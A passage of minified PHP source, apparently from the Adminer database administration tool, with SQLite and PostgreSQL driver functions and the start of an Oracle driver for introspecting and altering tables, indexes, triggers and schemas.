as$y=>$X){if($X[2]=="DROP"){$bc[$X[1]]=true;unset($w[$y]);}}foreach(indexes($R)as$Nd=>$v){$e=array();foreach($v["columns"]as$y=>$d){if(!$mf[$d])continue 2;$e[]=$mf[$d].($v["descs"][$y]?" DESC":"");}if(!$bc[$Nd]){if($v["type"]!="PRIMARY"||!$Lf)$w[]=array($v["type"],$Nd,$e);}}foreach($w as$y=>$X){if($X[0]=="PRIMARY"){unset($w[$y]);$Rc[]=" PRIMARY KEY (".implode(", ",$X[2]).")";}}foreach(foreign_keys($R)as$Nd=>$q){foreach($q["source"]as$y=>$d){if(!$mf[$d])continue 2;$q["source"][$y]=idf_unescape($mf[$d]);}if(!isset($Rc[" $Nd"]))$Rc[]=" ".format_foreign_key($q);}queries("BEGIN");}foreach($p as$y=>$o)$p[$y]=" ".implode($o);$p=array_merge($p,array_filter($Rc));if(!queries("CREATE TABLE ".table($R!=""?"adminer_$C":$C)." (\n".implode(",\n",$p)."\n)"))return false;if($R!=""){if($mf&&!queries("INSERT INTO ".table("adminer_$C")." (".implode(", ",$mf).") SELECT ".implode(", ",array_map('idf_escape',array_keys($mf)))." FROM ".table($R)))return false;$Oh=array();foreach(triggers($R)as$Mh=>$xh){$Lh=trigger($Mh);$Oh[]="CREATE TRIGGER ".idf_escape($Mh)." ".implode(" ",$xh)." ON ".table($C)."\n$Lh[Statement]";}if(!queries("DROP TABLE ".table($R)))return false;queries("ALTER TABLE ".table("adminer_$C")." RENAME TO ".table($C));if(!alter_indexes($C,$w))return false;foreach($Oh as$Lh){if(!queries($Lh))return false;}queries("COMMIT");}return true;}function index_sql($R,$U,$C,$e){return"CREATE $U ".($U!="INDEX"?"INDEX ":"").idf_escape($C!=""?$C:uniqid($R."_"))." ON ".table($R)." $e";}function alter_indexes($R,$c){foreach($c as$Kf){if($Kf[0]=="PRIMARY")return recreate_table($R,$R,array(),array(),array(),$c);}foreach(array_reverse($c)as$X){if(!queries($X[2]=="DROP"?"DROP INDEX ".idf_escape($X[1]):index_sql($R,$X[0],$X[1],"(".implode(", ",$X[2]).")")))return false;}return true;}function truncate_tables($T){return apply_queries("DELETE FROM",$T);}function drop_views($oi){return apply_queries("DROP VIEW",$oi);}function drop_tables($T){return apply_queries("DROP TABLE",$T);}function move_tables($T,$oi,$oh){return false;}function trigger($C){global$g;if($C=="")return array("Statement"=>"BEGIN\n\t;\nEND");$u='(?:[^`"\\s]+|`[^`]*`|"[^"]*")+';$Nh=trigger_options();preg_match("~^CREATE\\s+TRIGGER\\s*$u\\s*(".implode("|",$Nh["Timing"]).")\\s+([a-z]+)(?:\\s+OF\\s+($u))?\\s+ON\\s*$u\\s*(?:FOR\\s+EACH\\s+ROW\\s)?(.*)~is",$g->result("SELECT sql FROM sqlite_master WHERE type = 'trigger' AND name = ".q($C)),$B);$Me=$B[3];return array("Timing"=>strtoupper($B[1]),"Event"=>strtoupper($B[2]).($Me?" OF":""),"Of"=>($Me[0]=='`'||$Me[0]=='"'?idf_unescape($Me):$Me),"Trigger"=>$C,"Statement"=>$B[4],);}function triggers($R){$J=array();$Nh=trigger_options();foreach(get_rows("SELECT * FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R))as$K){preg_match('~^CREATE\\s+TRIGGER\\s*(?:[^`"\\s]+|`[^`]*`|"[^"]*")+\\s*('.implode("|",$Nh["Timing"]).')\\s*(.*)\\s+ON\\b~iU',$K["sql"],$B);$J[$K["name"]]=array($B[1],$B[2]);}return$J;}function trigger_options(){return array("Timing"=>array("BEFORE","AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE"),"Type"=>array("FOR EACH ROW"),);}function routine($C,$U){}function routines(){}function routine_languages(){}function begin(){return queries("BEGIN");}function last_id(){global$g;return$g->result("SELECT LAST_INSERT_ROWID()");}function explain($g,$H){return$g->query("EXPLAIN QUERY PLAN $H");}function found_rows($S,$Z){}function types(){return array();}function schemas(){return array();}function get_schema(){return"";}function set_schema($yg){return true;}function create_sql($R,$La){global$g;$J=$g->result("SELECT sql FROM sqlite_master WHERE type IN ('table', 'view') AND name = ".q($R));foreach(indexes($R)as$C=>$v){if($C=='')continue;$J.=";\n\n".index_sql($R,$v['type'],$C,"(".implode(", ",array_map('idf_escape',$v['columns'])).")");}return$J;}function truncate_sql($R){return"DELETE FROM ".table($R);}function use_sql($k){}function trigger_sql($R,$Zg){return implode(get_vals("SELECT sql || ';;\n' FROM sqlite_master WHERE type = 'trigger' AND tbl_name = ".q($R)));}function show_variables(){global$g;$J=array();foreach(array("auto_vacuum","cache_size","count_changes","default_cache_size","empty_result_callbacks","encoding","foreign_keys","full_column_names","fullfsync","journal_mode","journal_size_limit","legacy_file_format","locking_mode","page_size","max_page_count","read_uncommitted","recursive_triggers","reverse_unordered_selects","secure_delete","short_column_names","synchronous","temp_store","temp_store_directory","schema_version","integrity_check","quick_check")as$y)$J[$y]=$g->result("PRAGMA $y");return$J;}function show_status(){$J=array();foreach(get_vals("PRAGMA compile_options")as$af){list($y,$X)=explode("=",$af,2);$J[$y]=$X;}return$J;}function convert_field($o){}function unconvert_field($o,$J){return$J;}function support($Gc){return preg_match('~^(columns|database|drop_col|dump|indexes|move_col|sql|status|table|trigger|variables|view|view_trigger)$~',$Gc);}$x="sqlite";$Rh=array("integer"=>0,"real"=>0,"numeric"=>0,"text"=>0,"blob"=>0);$Yg=array_keys($Rh);$Yh=array();$Ye=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$Zc=array("hex","length","lower","round","unixepoch","upper");$ed=array("avg","count","count distinct","group_concat","max","min","sum");$gc=array(array(),array("integer|real|numeric"=>"+/-","text"=>"||",));}$Yb["pgsql"]="PostgreSQL";if(isset($_GET["pgsql"])){$Hf=array("PgSQL","PDO_PgSQL");define("DRIVER","pgsql");if(extension_loaded("pgsql")){class Min_DB{var$extension="PgSQL",$_link,$_result,$_string,$_database=true,$server_info,$affected_rows,$error;function _error($rc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function connect($N,$V,$G){global$b;$m=$b->database();set_error_handler(array($this,'_error'));$this->_string="host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' user='".addcslashes($V,"'\\")."' password='".addcslashes($G,"'\\")."'";$this->_link=@pg_connect("$this->_string dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",PGSQL_CONNECT_FORCE_NEW);if(!$this->_link&&$m!=""){$this->_database=false;$this->_link=@pg_connect("$this->_string dbname='postgres'",PGSQL_CONNECT_FORCE_NEW);}restore_error_handler();if($this->_link){$mi=pg_version($this->_link);$this->server_info=$mi["server"];pg_set_client_encoding($this->_link,"UTF8");}return(bool)$this->_link;}function quote($Q){return"'".pg_escape_string($this->_link,$Q)."'";}function select_db($k){global$b;if($k==$b->database())return$this->_database;$J=@pg_connect("$this->_string dbname='".addcslashes($k,"'\\")."'",PGSQL_CONNECT_FORCE_NEW);if($J)$this->_link=$J;return$J;}function close(){$this->_link=@pg_connect("$this->_string dbname='postgres'");}function query($H,$Sh=false){$I=@pg_query($this->_link,$H);$this->error="";if(!$I){$this->error=pg_last_error($this->_link);return false;}elseif(!pg_num_fields($I)){$this->affected_rows=pg_affected_rows($I);return true;}return new Min_Result($I);}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return false;}function result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return false;return pg_fetch_result($I->_result,0,$o);}}class Min_Result{var$_result,$_offset=0,$num_rows;function __construct($I){$this->_result=$I;$this->num_rows=pg_num_rows($I);}function fetch_assoc(){return pg_fetch_assoc($this->_result);}function fetch_row(){return pg_fetch_row($this->_result);}function fetch_field(){$d=$this->_offset++;$J=new stdClass;if(function_exists('pg_field_table'))$J->orgtable=pg_field_table($this->_result,$d);$J->name=pg_field_name($this->_result,$d);$J->orgname=$J->name;$J->type=pg_field_type($this->_result,$d);$J->charsetnr=($J->type=="bytea"?63:0);return$J;}function __destruct(){pg_free_result($this->_result);}}}elseif(extension_loaded("pdo_pgsql")){class Min_DB extends Min_PDO{var$extension="PDO_PgSQL";function connect($N,$V,$G){global$b;$m=$b->database();$Q="pgsql:host='".str_replace(":","' port='",addcslashes($N,"'\\"))."' options='-c client_encoding=utf8'";$this->dsn("$Q dbname='".($m!=""?addcslashes($m,"'\\"):"postgres")."'",$V,$G);return true;}function select_db($k){global$b;return($b->database()==$k);}function close(){}}}class Min_Driver extends Min_SQL{function insertUpdate($R,$L,$Kf){global$g;foreach($L as$O){$Zh=array();$Z=array();foreach($O as$y=>$X){$Zh[]="$y = $X";if(isset($Kf[idf_unescape($y)]))$Z[]="$y = $X";}if(!(($Z&&queries("UPDATE ".table($R)." SET ".implode(", ",$Zh)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($R)." (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).")")))return false;}return true;}}function idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function table($u){return idf_escape($u);}function connect(){global$b,$Rh,$Yg;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2])){if($g->server_info>=9){$g->query("SET application_name = 'Adminer'");if($g->server_info>=9.2){$Yg[lang(23)][]="json";$Rh["json"]=4294967295;if($g->server_info>=9.4){$Yg[lang(23)][]="jsonb";$Rh["jsonb"]=4294967295;}}}return$g;}return$g->error;}function get_databases(){return get_vals("SELECT datname FROM pg_database WHERE has_database_privilege(datname, 'CONNECT') ORDER BY datname");}function limit($H,$Z,$z,$D=0,$Dg=" "){return" $H$Z".($z!==null?$Dg."LIMIT $z".($D?" OFFSET $D":""):"");}function limit1($H,$Z){return" $H$Z";}function db_collation($m,$ob){global$g;return$g->result("SHOW LC_COLLATE");}function engines(){return array();}function logged_user(){global$g;return$g->result("SELECT user");}function tables_list(){$H="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support('materializedview'))$H.=" UNION ALL SELECT matviewname, 'MATERIALIZED VIEW' FROM pg_matviews WHERE schemaname = current_schema()";$H.=" ORDER BY 1";return get_key_vals($H);}function count_tables($l){return array();}function table_status($C=""){$J=array();foreach(get_rows("SELECT c.relname AS \"Name\", CASE c.relkind WHEN 'r' THEN 'table' WHEN 'm' THEN 'materialized view' ELSE 'view' END AS \"Engine\", pg_relation_size(c.oid) AS \"Data_length\", pg_total_relation_size(c.oid) - pg_relation_size(c.oid) AS \"Index_length\", obj_description(c.oid, 'pg_class') AS \"Comment\", c.relhasoids::int AS \"Oid\", c.reltuples as \"Rows\", n.nspname FROM pg_class c JOIN pg_namespace n ON(n.nspname = current_schema() AND n.oid = c.relnamespace) WHERE relkind IN ('r', 'm', 'v') ".($C!=""?"AND relname = ".q($C):"ORDER BY c.oid"))as$K)$J[$K["Name"]]=$K;return($C!=""?$J[$C]:$J);}function is_view($S){return in_array($S["Engine"],array("view","materialized view"));}function fk_support($S){return true;}function fields($R){$J=array();$Ca=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, d.adsrc AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment FROM pg_class c JOIN pg_namespace n ON c.relnamespace = n.oid JOIN pg_attribute a ON c.oid = a.attrelid LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum WHERE c.relname = ".q($R)." AND n.nspname = current_schema() AND NOT a.attisdropped AND a.attnum > 0 ORDER BY a.attnum")as$K){preg_match('~([^([]+)(\((.*)\))?([a-z ]+)?((\[[0-9]*])*)$~',$K["full_type"],$B);list(,$U,$be,$K["length"],$wa,$Fa)=$B;$K["length"].=$Fa;$cb=$U.$wa;if(isset($Ca[$cb])){$K["type"]=$Ca[$cb];$K["full_type"]=$K["type"].$be.$Fa;}else{$K["type"]=$U;$K["full_type"]=$K["type"].$be.$wa.$Fa;}$K["null"]=!$K["attnotnull"];$K["auto_increment"]=preg_match('~^nextval\\(~i',$K["default"]);$K["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^)]+(.*)~',$K["default"],$B))$K["default"]=($B[1][0]=="'"?idf_unescape($B[1]):$B[1]).$B[2];$J[$K["field"]]=$K;}return$J;}function indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$hh=$h->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($R));$e=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $hh AND attnum > 0",$h);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption , (indpred IS NOT NULL)::int as indispartial FROM pg_index i, pg_class ci WHERE i.indrelid = $hh AND ci.oid = i.indexrelid",$h)as$K){$hg=$K["relname"];$J[$hg]["type"]=($K["indispartial"]?"INDEX":($K["indisprimary"]?"PRIMARY":($K["indisunique"]?"UNIQUE":"INDEX")));$J[$hg]["columns"]=array();foreach(explode(" ",$K["indkey"])as$ud)$J[$hg]["columns"][]=$e[$ud];$J[$hg]["descs"]=array();foreach(explode(" ",$K["indoption"])as$vd)$J[$hg]["descs"][]=($vd&1?'1':null);$J[$hg]["lengths"]=array();}return$J;}function foreign_keys($R){global$Te;$J=array();foreach(get_rows("SELECT conname, condeferrable::int AS deferrable, pg_get_constraintdef(oid) AS definition FROM pg_constraint WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($R)." AND pn.nspname = current_schema()) AND contype = 'f'::char ORDER BY conkey, conname")as$K){if(preg_match('~FOREIGN KEY\s*\((.+)\)\s*REFERENCES (.+)\((.+)\)(.*)$~iA',$K['definition'],$B)){$K['source']=array_map('trim',explode(',',$B[1]));if(preg_match('~^(("([^"]|"")+"|[^"]+)\.)?"?("([^"]|"")+"|[^"]+)$~',$B[2],$je)){$K['ns']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$je[2]));$K['table']=str_replace('""','"',preg_replace('~^"(.+)"$~','\1',$je[4]));}$K['target']=array_map('trim',explode(',',$B[3]));$K['on_delete']=(preg_match("~ON DELETE ($Te)~",$B[4],$je)?$je[1]:'NO ACTION');$K['on_update']=(preg_match("~ON UPDATE ($Te)~",$B[4],$je)?$je[1]:'NO ACTION');$J[$K['conname']]=$K;}}return$J;}function view($C){global$g;return array("select"=>trim($g->result("SELECT pg_get_viewdef(".q($C).")")));}function collations(){return array();}function information_schema($m){return($m=="information_schema");}function error(){global$g;$J=h($g->error);if(preg_match('~^(.*\\n)?([^\\n]*)\\n( *)\\^(\\n.*)?$~s',$J,$B))$J=$B[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($B[3]).'})(.*)~','\\1<b>\\2</b>',$B[2]).$B[4];return nl_br($J);}function create_database($m,$nb){return queries("CREATE DATABASE ".idf_escape($m).($nb?" ENCODING ".idf_escape($nb):""));}function drop_databases($l){global$g;$g->close();return apply_queries("DROP DATABASE",$l,'idf_escape');}function rename_database($C,$nb){return queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($C));}function auto_increment(){return"";}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){$c=array();$Uf=array();foreach($p as$o){$d=idf_escape($o[0]);$X=$o[1];if(!$X)$c[]="DROP $d";else{$ii=$X[5];unset($X[5]);if(isset($X[6])&&$o[0]=="")$X[1]=($X[1]=="bigint"?" big":" ")."serial";if($o[0]=="")$c[]=($R!=""?"ADD ":" ").implode($X);else{if($d!=$X[0])$Uf[]="ALTER TABLE ".table($R)." RENAME $d TO $X[0]";$c[]="ALTER $d TYPE$X[1]";if(!$X[6]){$c[]="ALTER $d ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $d ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($o[0]!=""||$ii!="")$Uf[]="COMMENT ON COLUMN ".table($R).".$X[0] IS ".($ii!=""?substr($ii,9):"''");}}$c=array_merge($c,$Rc);if($R=="")array_unshift($Uf,"CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");elseif($c)array_unshift($Uf,"ALTER TABLE ".table($R)."\n".implode(",\n",$c));if($R!=""&&$R!=$C)$Uf[]="ALTER TABLE ".table($R)." RENAME TO ".table($C);if($R!=""||$sb!="")$Uf[]="COMMENT ON TABLE ".table($C)." IS ".q($sb);if($La!=""){}foreach($Uf as$H){if(!queries($H))return false;}return true;}function alter_indexes($R,$c){$i=array();$Zb=array();$Uf=array();foreach($c as$X){if($X[0]!="INDEX")$i[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$Zb[]=idf_escape($X[1]);else$Uf[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R)." (".implode(", ",$X[2]).")";}if($i)array_unshift($Uf,"ALTER TABLE ".table($R).implode(",",$i));if($Zb)array_unshift($Uf,"DROP INDEX ".implode(", ",$Zb));foreach($Uf as$H){if(!queries($H))return false;}return true;}function truncate_tables($T){return queries("TRUNCATE ".implode(", ",array_map('table',$T)));return true;}function drop_views($oi){return drop_tables($oi);}function drop_tables($T){foreach($T as$R){$P=table_status($R);if(!queries("DROP ".strtoupper($P["Engine"])." ".table($R)))return false;}return true;}function move_tables($T,$oi,$oh){foreach(array_merge($T,$oi)as$R){$P=table_status($R);if(!queries("ALTER ".strtoupper($P["Engine"])." ".table($R)." SET SCHEMA ".idf_escape($oh)))return false;}return true;}function trigger($C,$R=null){if($C=="")return array("Statement"=>"EXECUTE PROCEDURE ()");if($R===null)$R=$_GET['trigger'];$L=get_rows('SELECT t.trigger_name AS "Trigger", t.action_timing AS "Timing", (SELECT STRING_AGG(event_manipulation, \' OR \') FROM information_schema.triggers WHERE event_object_table = t.event_object_table AND trigger_name = t.trigger_name ) AS "Events", t.event_manipulation AS "Event", \'FOR EACH \' || t.action_orientation AS "Type", t.action_statement AS "Statement" FROM information_schema.triggers t WHERE t.event_object_table = '.q($R).' AND t.trigger_name = '.q($C));return reset($L);}function triggers($R){$J=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE event_object_table = ".q($R))as$K)$J[$K["trigger_name"]]=array($K["action_timing"],$K["event_manipulation"]);return$J;}function trigger_options(){return array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function routines(){return get_rows('SELECT p.proname AS "ROUTINE_NAME", p.proargtypes AS "ROUTINE_TYPE", pg_catalog.format_type(p.prorettype, NULL) AS "DTD_IDENTIFIER" FROM pg_catalog.pg_namespace n JOIN pg_catalog.pg_proc p ON p.pronamespace = n.oid WHERE n.nspname = current_schema() ORDER BY p.proname');}function routine_languages(){return get_vals("SELECT langname FROM pg_catalog.pg_language");}function last_id(){return 0;}function explain($g,$H){return$g->query("EXPLAIN $H");}function found_rows($S,$Z){global$g;if(preg_match("~ rows=([0-9]+)~",$g->result("EXPLAIN SELECT * FROM ".idf_escape($S["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$gg))return$gg[1];return false;}function types(){return get_vals("SELECT typname FROM pg_type WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND typtype IN ('b','d','e') AND typelem = 0");}function schemas(){return get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function get_schema(){global$g;return$g->result("SELECT current_schema()");}function set_schema($xg){global$g,$Rh,$Yg;$J=$g->query("SET search_path TO ".idf_escape($xg));foreach(types()as$U){if(!isset($Rh[$U])){$Rh[$U]=0;$Yg[lang(24)][]=$U;}}return$J;}function create_sql($R,$La){global$g;$J='';$ng=array();$Fg=array();$P=table_status($R);$p=fields($R);$w=indexes($R);ksort($w);$Pc=foreign_keys($R);ksort($Pc);$Oh=triggers($R);if(!$P||empty($p))return false;$J="CREATE TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." (\n ";foreach($p as$Ic=>$o){$tf=idf_escape($o['field']).' '.$o['full_type'].(is_null($o['default'])?"":" DEFAULT $o[default]").($o['attnotnull']?" NOT NULL":"");$ng[]=$tf;if(preg_match('~nextval\(\'([^\']+)\'\)~',$o['default'],$ke)){$Eg=$ke[1];$Sg=reset(get_rows("SELECT * FROM $Eg"));$Fg[]="CREATE SEQUENCE $Eg INCREMENT $Sg[increment_by] MINVALUE $Sg[min_value] MAXVALUE $Sg[max_value] START ".($La?$Sg['last_value']:1)." CACHE $Sg[cache_value];";}}if(!empty($Fg))$J=implode("\n\n",$Fg)."\n\n$J";foreach($w as$sd=>$v){switch($v['type']){case'UNIQUE':$ng[]="CONSTRAINT ".idf_escape($sd)." UNIQUE (".implode(', ',array_map('idf_escape',$v['columns'])).")";break;case'PRIMARY':$ng[]="CONSTRAINT ".idf_escape($sd)." PRIMARY KEY (".implode(', ',array_map('idf_escape',$v['columns'])).")";break;}}foreach($Pc as$Oc=>$Nc)$ng[]="CONSTRAINT ".idf_escape($Oc)." $Nc[definition] ".($Nc['deferrable']?'DEFERRABLE':'NOT DEFERRABLE');$J.=implode(",\n ",$ng)."\n) WITH (oids = ".($P['Oid']?'true':'false').");";foreach($w as$sd=>$v){if($v['type']=='INDEX')$J.="\n\nCREATE INDEX ".idf_escape($sd)." ON ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." USING btree (".implode(', ',array_map('idf_escape',$v['columns'])).");";}if($P['Comment'])$J.="\n\nCOMMENT ON TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." IS ".q($P['Comment']).";";foreach($p as$Ic=>$o){if($o['comment'])$J.="\n\nCOMMENT ON COLUMN ".idf_escape($P['nspname']).".".idf_escape($P['Name']).".".idf_escape($Ic)." IS ".q($o['comment']).";";}foreach($Oh as$Kh=>$Jh){$Lh=trigger($Kh,$P['Name']);$J.="\n\nCREATE TRIGGER ".idf_escape($Lh['Trigger'])." $Lh[Timing] $Lh[Events] ON ".idf_escape($P["nspname"]).".".idf_escape($P['Name'])." $Lh[Type] $Lh[Statement];";}return rtrim($J,';');}function trigger_sql($R,$Zg){$J="";return false;}function use_sql($k){return"\connect ".idf_escape($k);}function show_variables(){return get_key_vals("SHOW ALL");}function process_list(){global$g;return get_rows("SELECT * FROM pg_stat_activity ORDER BY ".($g->server_info<9.2?"procpid":"pid"));}function show_status(){}function convert_field($o){}function unconvert_field($o,$J){return$J;}function support($Gc){global$g;return preg_match('~^(database|table|columns|sql|indexes|comment|view|'.($g->server_info>=9.3?'materializedview|':'').'scheme|processlist|sequence|trigger|type|variables|drop_col|kill|dump)$~',$Gc);}function kill_process($X){return queries("SELECT pg_terminate_backend(".number($X).")");}function connection_id(){return"SELECT pg_backend_pid()";}function max_connections(){global$g;return$g->result("SHOW max_connections");}$x="pgsql";$Rh=array();$Yg=array();foreach(array(lang(25)=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),lang(26)=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),lang(23)=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),lang(27)=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),lang(28)=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),lang(29)=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$y=>$X){$Rh+=$X;$Yg[$y]=array_keys($X);}$Yh=array();$Ye=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Zc=array("char_length","lower","round","to_hex","to_timestamp","upper");$ed=array("avg","count","count distinct","max","min","sum");$gc=array(array("char"=>"md5","date|time"=>"now",),array("int|numeric|real|money"=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",));}$Yb["oracle"]="Oracle";if(isset($_GET["oracle"])){$Hf=array("OCI8","PDO_OCI");define("DRIVER","oracle");if(extension_loaded("oci8")){class Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;function _error($rc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function connect($N,$V,$G){$this->_link=@oci_new_connect($V,$G,$N,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return true;}$n=oci_error();$this->error=$n["message"];return false;}function quote($Q){return"'".str_replace("'","''",$Q)."'";}function select_db($k){return true;}function query($H,$Sh=false){$I=oci_parse($this->_link,$H);$this->error="";if(!$I){$n=oci_error($this->_link);$this->errno=$n["code"];$this->error=$n["message"];return false;}set_error_handler(array($this,'_error'));$J=@oci_execute($I);restore_error_handler();if($J){if(oci_num_fields($I))return new Min_Result($I);$this->affected_rows=oci_num_rows($I);}return$J;}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return false;}function result($H,$o=1){$I=$this->query($H);if(!is_object($I)||!oci_fetch($I->_result))return false;return oci_result($I->_result,$o);}}class Min_Result{var$_result,$_offset=1,$num_rows;function __construct($I){$this->_result=$I;}function _convert($K){foreach((array)$K as$y=>$X){if(is_a($X,'OCI-Lob'))$K[$y]=$X->load();}return$K;}function fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function fetch_field(){$d=$this->_offset++;$J=new stdClass;$J->name=oci_field_name($this->_result,$d);$J->orgname=$J->name;$J->type=oci_field_type($this->_result,$d);$J->charsetnr=(preg_match("~raw|blob|bfile~",$J->type)?63:0);return$J;}function __destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class Min_DB extends Min_PDO{var$extension="PDO_OCI";function connect($N,$V,$G){$this->dsn("oci:dbname=//$N;charset=AL32UTF8",$V,$G);return true;}function select_db($k){return true;}}}class Min_Driver extends Min_SQL{function begin(){return true;}}function idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function table($u){return idf_escape($u);}function connect(){global$b;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function get_databases(){return get_vals("SELECT tablespace_name FROM user_tablespaces");}function limit($H,$Z,$z,$D=0,$Dg=" "){return($D?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $H$Z) t WHERE rownum <= ".($z+$D).") WHERE rnum > $D":($z!==null?" * FROM (SELECT $H$Z) WHERE rownum <= ".($z+$D):" $H$Z"));}function limit1($H,$Z){return" $H$Z";}function db_collation($m,$ob){global$g;return$g->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function engines(){return array();}function logged_user(){global$g;return$g->result("SELECT USER FROM DUAL");}function tables_list(){return get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)." UNION SELECT view_name, 'view' FROM user_views ORDER BY 1");}function count_tables($l){return array();}function table_status($C=""){$J=array();$zg=q($C);foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q(DB).($C!=""?" AND table_name = $zg":"")." UNION SELECT view_name, 'view', 0, 0 FROM user_views".($C!=""?" WHERE view_name = $zg":"")." ORDER BY 1")as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function is_view($S){return$S["Engine"]=="view";}function fk_support($S){return true;}function fields($R){$J=array();foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($R)." ORDER BY column_id")as$K){$U=$K["DATA_TYPE"];$be="$K[DATA_PRECISION],$K[DATA_SCALE]";if($be==",")$be=$K["DATA_LENGTH"];$J[$K["COLUMN_NAME"]]=array("field"=>$K["COLUMN_NAME"],"full_type"=>$U.($be?"($be)":""),"type"=>strtolower($U),"length"=>$be,"default"=>$K["DATA_DEFAULT"],"null"=>($K["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$J;}function indexes($R,$h=null){$J=array();foreach(get_rows("SELECT uic.*, uc.constraint_type FROM user_ind_columns uic LEFT JOIN user_constraints uc ON uic.index_name = uc.constraint_name AND uic.table_name = uc.table_name WHERE uic.table_name = ".q($R)." ORDER BY uc.constraint_type, uic.column_position",$h)as$K){$sd=$K["INDEX_NAME"];$J[$sd]["type"]=($K["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($K["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$J[$sd]["columns"][]=$K["COLUMN_NAME"];$J[$sd]["lengths"][]=($K["CHAR_LENGTH"]&&$K["CHAR_LENGTH"]!=$K["COLUMN_LENGTH"]?$K["CHAR_LENGTH"]:null);$J[$sd]["descs"][]=($K["DESCEND"]?'1':null);}return$J;}function view($C){$L=get_rows('SELECT text "select" FROM user_views WHERE view_name = '.q($C));return reset($L);}function collations(){return array();}function information_schema($m){return false;}function error(){global$g;return h($g->error);}function explain($g,$H){$g->query("EXPLAIN PLAN FOR $H");return$g->query("SELECT * FROM plan_table");}function 